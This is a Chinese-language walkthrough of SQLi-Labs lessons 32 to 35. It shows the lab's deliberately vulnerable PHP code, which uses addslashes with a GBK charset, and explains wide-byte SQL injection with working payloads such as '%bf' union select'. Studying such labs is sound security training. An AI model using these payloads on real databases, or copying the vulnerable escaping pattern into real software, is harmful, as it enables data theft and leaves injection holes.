SQLi Labs Lesson32 & 33 & 34 & 35

Lesson - 32

GET - By Pass custom filter adding slashes to dangerous chars


首先进入欢迎界面:


构造 ?id=1,结果如图所示:


构造 ?id=1',结果如上图,不变。

构造  ?id=1",结果同上,不变。

但是根据本节提示,发现我们输入的单引号和双引号被转义。




本节学习宽字节注入。

后台php源码:

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
    return $string;
}

$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

发现在执行SQL语句之前,设置了mysql字符集为GBK

利用此,可以进行宽字节注入。


GBK编码采用双字节编码方案,其编码范围:8140-FEFE

sql注入中的宽字节国内最常使用的gbk编码,这种方式主要是绕过addslashes等对特殊字符进行转移的绕过。反斜杠()的十六进制为%5c,在你输入%bf%27时,函数遇到单引号自动转移加入\,此时变为%bf%5c%27,%bf%5c在gbk中变为一个宽字符“縗”。%bf那个位置可以是%81-%fe中间的任何字符。不止在sql注入中,宽字符注入在很多地方都可以应用。


构造 ?id=0%bf' union select 1,2,3 --+

结果如图所示:


Lesson - 33

GET - Bypass Add slashes

后台php源码:

function check_addslashes($string)
{
    $string= addslashes($string);    
    return $string;
}

$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

同上节,注入语句.

构造 ?id=0%bf' union select 1,database(),3 --+


Lesson - 34

POST - Bypass Add slashes

后台源代码:

$uname1=$_POST['uname'];
$passwd1=$_POST['passwd'];

$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
        
mysql_query("SET NAMES gbk");
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

同上节:

结果如图所示:


如果直接在username中输入 admin%bf' union select 1,2 #

而实际POST的数据为:

用修改POST数据的工具提交才能成功。


Lesson - 35

GET - Bypass Add slashes (we don't need them) Integer based

function check_addslashes($string)
{
    $string = addslashes($string);
    return $string;
}


$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

构造 ?id=0 union select 1,database(),3


当语句中用到单引号时,再用%bf构成宽字节注入。


  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值